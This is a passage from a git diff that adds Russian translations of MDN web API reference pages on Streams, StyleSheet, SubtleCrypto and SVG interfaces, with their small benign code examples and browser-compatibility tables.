+ <li><a href="http://mdn.github.io/dom-examples/streams/simple-random-stream/">Простой произвольный поток</a>: В этом примере показано, как использовать пользовательский поток для создания случайных строк, помещать их в очередь как блоки, а затем считывать их обратно.</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/simple-tee-example/">Simple tee example</a>: Этот пример расширяет первый пример, показывая как поток может быть связан, и оба результирующих потока будут прочитаны независимо.</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/simple-writer/">Simple writer</a>: This example shows how to to write to a writable stream, then decode the stream and write the contents to the UI.</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/png-transform-stream/">Unpack chunks of a PNG</a>: This example shows how <a href="https://developer.mozilla.org/en-US/docs/Web/API/ReadableStream/pipeThrough"><code>pipeThrough()</code></a> can be used to transform a ReadableStream into a stream of other data types by transforming a data of a PNG file into a stream of PNG chunks.</li>
+</ul>
+
+<p>Примеры от других разработчиков:</p>
+
+<ul>
+ <li><a href="https://fetch-progress.anthum.com/">Progress Indicators with Streams, Service Workers, &amp; Fetch</a>.</li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Streams')}}</td>
+   <td>{{Spec2('Streams')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<h3 id="Поток_записи_данных">Поток записи данных</h3>
+
+<p>{{Compat("api.WritableStream")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Streams_API/Concepts">Streams API концепт</a></li>
+ <li><a href="/en-US/docs/Web/API/Streams_API/Using_readable_streams">Использование потоков чтения</a></li>
+ <li><a href="/en-US/docs/Web/API/Streams_API/Using_writable_streams">Использование потоков записи</a></li>
+</ul>
diff --git a/files/ru/web/api/stylesheet/disabled/index.html b/files/ru/web/api/stylesheet/disabled/index.html
new file mode 100644
index 0000000000..6533b03241
--- /dev/null
+++ b/files/ru/web/api/stylesheet/disabled/index.html
@@ -0,0 +1,54 @@
+---
+title: StyleSheet.disabled
+slug: Web/API/StyleSheet/disabled
+tags:
+  - Свойство
+  - Стили
+translation_of: Web/API/StyleSheet/disabled
+---
+<div>{{APIRef("CSSOM")}}</div>
+
+<p class="summary">Свойство <code><strong>disabled</strong></code> интерфейса {{domxref("StyleSheet")}} определяет будет ли таблица стилей защищена от применения в документе</p>
+
+<p>Тааблицу стилей можно отключить, установив для этого свойства значение <code>true</code>, или, если она неактивна, с помощью <a href="/en-US/docs/Web/CSS/Alternative_style_sheets">альтернативной таблице стилей</a>. Заметьте, что <code>disabled == false</code> не гарантирует применение таблице стилей (она может быть удалена из документа, к примеру).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>bool</em> = stylesheet.disabled
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">// Если таблица стилей отключена...
+if (stylesheet.disabled) {
+  // ... применять стили в строке.
+}
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM", "#dom-stylesheet-disabled", "StyleSheet.disabled")}}</td>
+   <td>{{Spec2("CSSOM")}}</td>
+   <td>Нет изменений {{SpecName("DOM2 Style")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Style", "stylesheets.html#StyleSheets-StyleSheet-disabled", "StyleSheet.disabled")}}</td>
+   <td>{{Spec2("DOM2 Style")}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.StyleSheet.disabled")}}</p>
diff --git a/files/ru/web/api/stylesheet/index.html b/files/ru/web/api/stylesheet/index.html
new file mode 100644
index 0000000000..07740ac283
--- /dev/null
+++ b/files/ru/web/api/stylesheet/index.html
@@ -0,0 +1,68 @@
+---
+title: StyleSheet
+slug: Web/API/StyleSheet
+tags:
+  - Интерфейсы
+  - Объектная модель CSS
+  - Референсы
+  - Таблицы стилей
+translation_of: Web/API/StyleSheet
+---
+<div>{{APIRef("CSSOM")}} Объектная модель CSS</div>
+
+<p>Объект, реализующий интерфейс <code>StyleSheet</code>, представляет отдельную таблицу стилей. Таблица стилей CSS далее будет представлена более специализированным интерфейсом  {{domxref("CSSStyleSheet")}}.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("StyleSheet.disabled")}}</dt>
+ <dd>Свойство имеет тип {{domxref("Boolean")}}, принимающий одно из двух значений и определяющий, применяется или нет текущая таблица стилей.</dd>
+ <dt>{{domxref("StyleSheet.href")}} {{readonlyInline}}</dt>
+ <dd>Свойство возвращает строку {{domxref("DOMString")}}, указывающую расположение таблицы стилей. Свойство не изменяется.</dd>
+ <dt>{{domxref("StyleSheet.media")}} {{readonlyInline}}</dt>
+ <dd>Свойство содержит список медиа-установок{{domxref("MediaList")}} таблицы стилей и определяет медиа-устройства, для отображения на которых предназначена данная таблица. Свойство не изменяется.</dd>
+ <dt>{{domxref("StyleSheet.ownerNode")}} {{readonlyInline}}</dt>
+ <dd>Свойство возвращает ссылку на объект (узел){{domxref("Node")}}, ссылающийся на данную таблицу стилей текущего документа. Свойство не изменяется.</dd>
+ <dt>{{domxref("StyleSheet.parentStyleSheet")}} {{readonlyInline}}</dt>
+ <dd>Свойство возвращает ссылку на родительскую таблицу стилей {{domxref("StyleSheet")}}, включаюущую данную таблицу стилей; если таковой нет, возвращает значение <code>null</code>. Свойство не изменяется.</dd>
+ <dt>{{domxref("StyleSheet.title")}} {{readonlyInline}}</dt>
+ <dd>Свойство возвращает строку {{domxref("DOMString")}}, указывающую на заголовок  текущей таблицы стилей. Свойство не изменяется.</dd>
+ <dt>{{domxref("StyleSheet.type")}}{{readonlyInline}}</dt>
+ <dd>Свойство возвращает строку {{domxref("DOMString")}}, указывающую на язык, используемый таблицей стилей. Свойство не изменяется.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSSOM', '#stylesheet', 'StyleSheet') }}</td>
+   <td>{{ Spec2('CSSOM') }}</td>
+   <td>Без изменений с {{ SpecName('DOM2 Style') }}.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('DOM2 Style', 'stylesheets.html#StyleSheets-StyleSheet', 'StyleSheet') }}</td>
+   <td>{{ Spec2('DOM2 Style') }}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div class="hidden">
+<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Таблица совместимости на этой странице создана на основе структурированных данных.</span></span> <span class="ChMk0b JLqJ4b"><span>Если вы хотите внести свой вклад в данные, посетите https://github.com/mdn/browser-compat-data и отправьте нам запрос на перенос.</span></span></span></p>
+</div>
+
+<p>{{Compat("api.StyleSheet")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("CSSStyleSheet")}}</li>
+</ul>
diff --git a/files/ru/web/api/subtlecrypto/index.html b/files/ru/web/api/subtlecrypto/index.html
new file mode 100644
index 0000000000..7070db0af1
--- /dev/null
+++ b/files/ru/web/api/subtlecrypto/index.html
@@ -0,0 +1,122 @@
+---
+title: SubtleCrypto
+slug: Web/API/SubtleCrypto
+translation_of: Web/API/SubtleCrypto
+---
+<p>{{APIRef("Web Crypto API")}}</p>
+
+<p>Интерфейс <code><strong>SubtileCrypto</strong></code> представляет набор криптографическиз примитивов. Эземпляр <code><strong>SubtileCrypto</strong></code> доступен как {{domxref("Crypto.subtle")}}, в контексте window ({{domxref("Window.crypto")}}).</p>
+
+<div class="warning">
+<p>Per the spec: "Developers making use of the SubtleCrypto interface are expected to be aware of the security concerns associated with both the design and implementation of the various algorithms provided. The raw algorithms are provided in order to allow developers maximum flexibility in implementing a variety of protocols and applications, each of which may represent the composition and security parameters in a unique manner that necessitate the use of the raw algorithms."</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс не наследует и не определяет собственные свойства.</em></p>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("SubtleCrypto.encrypt()")}}</dt>
+ <dd>Возврщает {{jsxref("Promise")}} с данными, зашифрованными на основании исходного текста, алгоритма шифровани и ключа, переданных в качества аргументов.</dd>
+ <dt>{{domxref("SubtleCrypto.decrypt()")}}</dt>
+ <dd>Возврщает {{jsxref("Promise")}} с исходным текстом. В качества аргументов принимает зашифрованную строку, алгоритм шифрования и ключ.</dd>
+ <dt>{{domxref("SubtleCrypto.sign()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}} с сигнатурой, полученной на основании текста, алгоритма шифрования и ключа, переданных в качества аргументов.</dd>
+ <dt>{{domxref("SubtleCrypto.verify()")}}</dt>
+ <dd>Возврашает {{jsxref("Promise")}} с {{jsxref("Boolean")}} значением, определяющим соответствует ли переданная сигнатура тексу, алгоритму шифрования и ключу, также переданным в качества аргументов.</dd>
+ <dt>{{domxref("SubtleCrypto.digest()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}} с хеш-суммой сгенерированной на основании алгоритма шифрования и исходного текста, переданных в качества аргументов</dd>
+ <dt>{{domxref("SubtleCrypto.generateKey()")}}</dt>
+ <dd>Возаращает {{jsxref("Promise")}} с сгенерированным {{domxref("CryptoKey")}} для симметричных алгоритмов, или {{domxref("CryptoKeyPair")}} для асимметричных алгоритмов.</dd>
+ <dt>{{domxref("SubtleCrypto.deriveKey()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}} с сгенерированным {{domxref("CryptoKey")}}, на основе переданных в качесва аргументов мастер-ключа и алгоритма шифрования.</dd>
+ <dt>{{domxref("SubtleCrypto.deriveBits()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}} с буфером псевдо-случайных бит, полученных на основании мастер-ключа и алгоритма шифрования, переданных в качества аргументов.</dd>
+ <dt>{{domxref("SubtleCrypto.importKey()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} of a {{domxref("CryptoKey")}} corresponding to the format, the algorithm, the raw key data, the usages and the extractability given as parameters.</dd>
+ <dt>{{domxref("SubtleCrypto.exportKey()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} of a buffer containing the key in the format requested.</dd>
+ <dt>{{domxref("SubtleCrypto.wrapKey()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} of a wrapped symmetric key for usage (transfer, storage) in insecure environments. The wrapped buffer returned is in the format given in parameters, and contains the key wrapped by the given wrapping key with the given algorithm.</dd>
+ <dt>{{domxref("SubtleCrypto.unwrapKey()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} of a {{domxref("CryptoKey")}} corresponding to the wrapped key given in parameter.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('Web Crypto API', '#subtlecrypto-interface', 'SubtleCrypto') }}</td>
+   <td>{{ Spec2('Web Crypto API') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatChrome(37) }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop(34) }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>37</td>
+   <td>{{ CompatChrome(37) }}</td>
+   <td>{{ CompatGeckoMobile(34) }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Crypto")}} and {{domxref("Crypto.subtle")}}.</li>
+</ul>
diff --git a/files/ru/web/api/svgaelement/index.html b/files/ru/web/api/svgaelement/index.html
new file mode 100644
index 0000000000..22ec57c774
--- /dev/null
+++ b/files/ru/web/api/svgaelement/index.html
@@ -0,0 +1,142 @@
+---
+title: SVGAElement
+slug: Web/API/SVGAElement
+translation_of: Web/API/SVGAElement
+---
+<p>{{APIRef("SVG")}}</p>
+
+<p>{{SeeCompatTable}}</p>
+
+<p>Интерфейс <strong><code>SVGAElement</code></strong><code> предоставляет доступ к свойствам </code> {{ SVGElement("a") }} элемента а также к методам манипулирования ими.</p>
+
+<p>Интерфейс наследует следующие интерфейсы: {{ domxref("SVGElement") }}, {{ domxref("SVGURIReference") }}, {{ domxref("SVGTests") }}, {{ domxref("SVGLangSpace") }}, {{ domxref("SVGExternalResourcesRequired") }}, {{ domxref("SVGStylable") }}, {{ domxref("SVGTransformable") }}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс также наследует свойства от его родителя, {{domxref("SVGGraphicsElement")}} и реализует свойства из {{domxref("SVGURIReference")}} и {{domxref("HTMLHyperlinkElementUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SVGAElement.download")}}</dt>
+ <dd>См. {{domxref("HTMLAnchorElement.download")}}.</dd>
+ <dt>{{domxref("SVGAElement.href")}}</dt>
+ <dd>См. {{domxref("HTMLAnchorElement.href")}}.</dd>
+ <dt>{{domxref("SVGAElement.hreflang")}}</dt>
+ <dd>Является {{domxref("DOMString")}}, который отражает атрибут <code>hreflang</code>, указывающий язык связанного ресурса.</dd>
+ <dt>{{domxref("SVGAElement.ping")}}</dt>
+ <dd>Является {{domxref("DOMString")}}, отражая атрибут ping, содержащий список URL-адресов, разделенных пробелами, к которым, когда выполняется гиперссылка, {{HTTPMethod("POST")}} запрос с телом <code>PING</code> будет отправлен браузером (в фоновом режиме). Обычно используется для отслеживания.</dd>
+ <dt>{{domxref("SVGAElement.referrerPolicy")}}</dt>
+ <dd>См. {{domxref("HTMLAnchorElement.referrerPolicy")}}.</dd>
+ <dt>{{domxref("SVGAElement.rel")}}</dt>
+ <dd>См. {{domxref("HTMLAnchorElement.rel")}}.</dd>
+ <dt>{{domxref("SVGAElement.relList")}}</dt>
+ <dd>См. {{domxref("HTMLAnchorElement.relList")}}.</dd>
+ <dt>{{domxref("SVGAElement.target")}} {{readonlyInline}}</dt>
+ <dd>соответствует аттрибуту {{SVGAttr("target")}} данного элемента. </dd>
+ <dt>{{domxref("SVGAElement.text")}}</dt>
+ <dd>Является {{domxref("DOMString")}} синонимом свойства {{domxref("Node.textContent")}}. </dd>
+ <dt>{{domxref("SVGAElement.type")}}</dt>
+ <dd>Is a that reflects theattribute, indicating the MIME type of the linked resource. <br>
+ Является {{domxref("DOMString")}}, который отражает атрибут <code>type</code> , указывающий тип MIME связанного ресурса.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс не имеет методов, но наследует методы от его родителя, {{domxref ("SVGGraphicsElement")}}. </em></p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В примере ниже, атрибуту {{SVGAttr("target")}} элемента {{SVGElement('a')}} присвоено значение <em>_blank</em> и при клике по ссылке, при соблюдении условий, выведется сообщение в модальном окне. </p>
+
+<pre class="brush: js">var linkRef = document.querySelector('a');
+linkRef.target ='_self';
+
+linkRef.onclick = function(){
+    if (linkRef.target == '_blank') {
+        alert("BLANK !");
+        linkRef.target = '_self';
+    }
+    else
+        alert("SORRY! not _blank");
+} </pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Спецификация</td>
+   <td>Статус</td>
+   <td>Коммент</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "linking.html#InterfaceSVGAElement")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Заменено наследование от {{domxref("SVGElement")}} {{domxref("SVGGraphicsElement")}} и удалены реализации интерфейса {{domxref("SVGTests")}}, {{domxref("SVGLangSpace")}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}} и {{domxref("SVGTransformable")}} {{domxref ("HTMLHyperlinkElementUI")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'linking.html#InterfaceSVGAElement')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузером</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>9.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>SVG {{SVGElement("a")}} элемент</li>
+</ul>
diff --git a/files/ru/web/api/svgaelement/svgalement.target/index.html b/files/ru/web/api/svgaelement/svgalement.target/index.html
new file mode 100644
index 0000000000..c66c4a9612
--- /dev/null
+++ b/files/ru/web/api/svgaelement/svgalement.target/index.html
@@ -0,0 +1,106 @@
+---
+title: SVGAElement.target
+slug: Web/API/SVGAElement/SVGAlement.target
+translation_of: Web/API/SVGAElement/target
+---
+<p>{{APIRef("SVGAElement")}}</p>
+
+<p> </p>
+
+<p>Свойство <code><strong>SVGAElement.target</strong></code> для чтения только {{domxref ("SVGAElement")}} возвращает объект {{domxref ("SVGAnimatedString")}}, который указывает часть целевого окна, фрейма, панель, в которую открывается при активации ссылки.</p>
+
+<p>Это свойство используется, когда существует множество возможных целей для конечного ресурса, например, когда родительский документ является документом HTML или HTML-документом mlti-frame.</p>
+
+<p> </p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre><code><em>myLink</em>.target = '<em>value</em>';</code></pre>
+
+<h3 id="Стоимость">Стоимость</h3>
+
+<p>{{Domxref ("SVGAnimatedString")}}, указывающий конечную цель ресурса, которая открывает документ при активации ссылки.</p>
+
+<p>Значения для {{domxref ("target")}} можно увидеть <a href="https://www.w3.org/TR/2011/REC-SVG11-20110816/linking.html#AElementTargetAttribute">here</a></p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Код  взят из <a href="/en-US/docs/Web/API/SVGAElement#Example">"SVGAElement example code"</a></p>
+
+<pre class="brush: js">...
+var linkRef = document.querySelector('a');
+linkRef.target ='_blank';
+...</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Спецификация</td>
+   <td>Статус</td>
+   <td>Комментарий</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'text.html#InterfaceSVGAElement', 'target')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузером</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>9.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{ SVGAttr("target") }}</li>
+</ul>
diff --git a/files/ru/web/api/svgaelement/target/index.html b/files/ru/web/api/svgaelement/target/index.html
new file mode 100644
index 0000000000..d8e3ba1aa2
--- /dev/null
+++ b/files/ru/web/api/svgaelement/target/index.html
@@ -0,0 +1,59 @@
+---
+title: SVGAElement.target
+slug: Web/API/SVGAElement/target
+translation_of: Web/API/SVGAElement/target
+---
+<p>{{APIRef("SVGAElement")}}</p>
+
+<p>{{SeeCompatTable}}</p>
+
+<p>Свойство <code><strong>SVGAElement.target</strong></code>  только для чтения. {{domxref("SVGAElement")}} возвращает объект {{domxref("SVGAnimatedString")}}, указывающий часть целевого окна, фрейма, панели, в которой откроется при активации ссылки.</p>
+
+<p>Это свойство используется, когда существует множество возможных целей для конечного ресурса, например, когда родительский документ является документом HTML или HTML-документом multi-frame.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre><code><em>myLink</em>.target = '<em>value</em>';</code></pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{Domxref ("SVGAnimatedString")}}, укажет конечную цель ресурса для открытия документа при активации ссылки.<br>
+ Примеры значений можно найти <a href="https://www.w3.org/TR/2011/REC-SVG11-20110816/linking.html#AElementTargetAttribute">здесь</a>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Код взят из <a href="/en-US/docs/Web/API/SVGAElement#Example">«Пример кода SVGAElement»</a>.</p>
+
+<pre class="brush: js">...
+var linkRef = document.querySelector('a');
+linkRef.target ='_blank';
+...</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Спецификация</td>
+   <td>Статус</td>
+   <td>Коммент</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'text.html#InterfaceSVGAElement', 'target')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div>
+
+<p>{{Compat("api.SVGAElement.target")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{SVGAttr("target")}}</li>
+</ul>
diff --git a/files/ru/web/api/svggraphicselement/index.html b/files/ru/web/api/svggraphicselement/index.html
new file mode 100644
index 0000000000..86f9e76035
--- /dev/null
+++ b/files/ru/web/api/svggraphicselement/index.html
@@ -0,0 +1,62 @@
+---
+title: SVGGraphicsElement
+slug: Web/API/SVGGraphicsElement
+tags:
+  - API
+  - SVG
+translation_of: Web/API/SVGGraphicsElement
+---
+<div>{{APIRef("SVG")}}</div>
+
+<p>Интерфейс <strong><code>SVGGraphicsElement</code></strong> представляет элементы SVG, основной целью которых является прямое отображение графики в группу.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<div class="note">
+<p><strong>Note:</strong> Этот интерфейс был введен в SVG 2 и заменяет интерфейсы  {{domxref("SVGLocatable")}} и {{domxref("SVGTransformable")}} из SVG 1.1.</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот элемент наследует свойства от своего родителя, {{domxref("SVGElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SVGGraphicsElement.transform")}} {{ReadOnlyInline}}</dt>
+ <dd>An {{domxref("SVGAnimatedTransformList")}} reflecting the computed value of the {{cssxref("transform")}} property and its corresponding {{SVGAttr("transform")}} attribute of the given element.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот элемент наследует методы своего родителя, {{domxref("SVGElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SVGGraphicsElement.getBBox()")}}</dt>
+ <dd>Returns a {{domxref("DOMRect")}} representing the computed bounding box of the current element.</dd>
+ <dt>{{domxref("SVGGraphicsElement.getCTM()")}}</dt>
+ <dd>Returns a {{domxref("DOMMatrix")}} representing the matrix that transforms the current element's coordinate system to its SVG viewport's coordinate system.</dd>
+ <dt>{{domxref("SVGGraphicsElement.getScreenCTM()")}}</dt>
+ <dd>Returns a {{domxref("DOMMatrix")}} representing the matrix that transforms the current element's coordinate system to the coordinate system of the SVG viewport for the SVG document fragment.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "types.html#InterfaceSVGGraphicsElement", "SVGGraphicsElement")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.SVGGraphicsElement")}}</p>
diff --git a/files/ru/web/api/svgtextcontentelement/index.html b/files/ru/web/api/svgtextcontentelement/index.html
new file mode 100644
index 0000000000..384958a557
--- /dev/null
+++ b/files/ru/web/api/svgtextcontentelement/index.html
@@ -0,0 +1,110 @@
+---
+title: SVGTextContentElement
+slug: Web/API/SVGTextContentElement
+tags:
+  - SVG
+  - Справка
+translation_of: Web/API/SVGTextContentElement
+---
+<div>{{APIRef("SVG")}}</div>
+
+<p>Интерфейс <strong><code>SVGTextContentElement</code></strong> реализуется элементами, которые поддерживают рендеринг дочернего текстового содержимого. Он наследуется различными текстовыми интерфейсами, такими как {{domxref("SVGTextElement")}}, {{domxref("SVGTSpanElement")}}, {{domxref("SVGTRefElement")}}, {{domxref("SVGAltGlyphElement")}} и {{domxref("SVGTextPathElement")}}.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Константы">Константы</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Константа</td>
+   <td>Значение </td>
+   <td>Описание</td>
+  </tr>
+  <tr>
+   <td>LENGTHADJUST_UNKNOWN</td>
+   <td>0</td>
+   <td>Иная ценность.</td>
+  </tr>
+  <tr>
+   <td>LENGTHADJUST_SPACING</td>
+   <td>1</td>
+   <td><code>spacing</code> дескриптор.</td>
+  </tr>
+  <tr>
+   <td>LENGTHADJUST_SPACINGANDGLYPHS</td>
+   <td>2</td>
+   <td><code>spacingAndGlyphs</code> дескриптор.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Свойства">Свойства</h2>
+
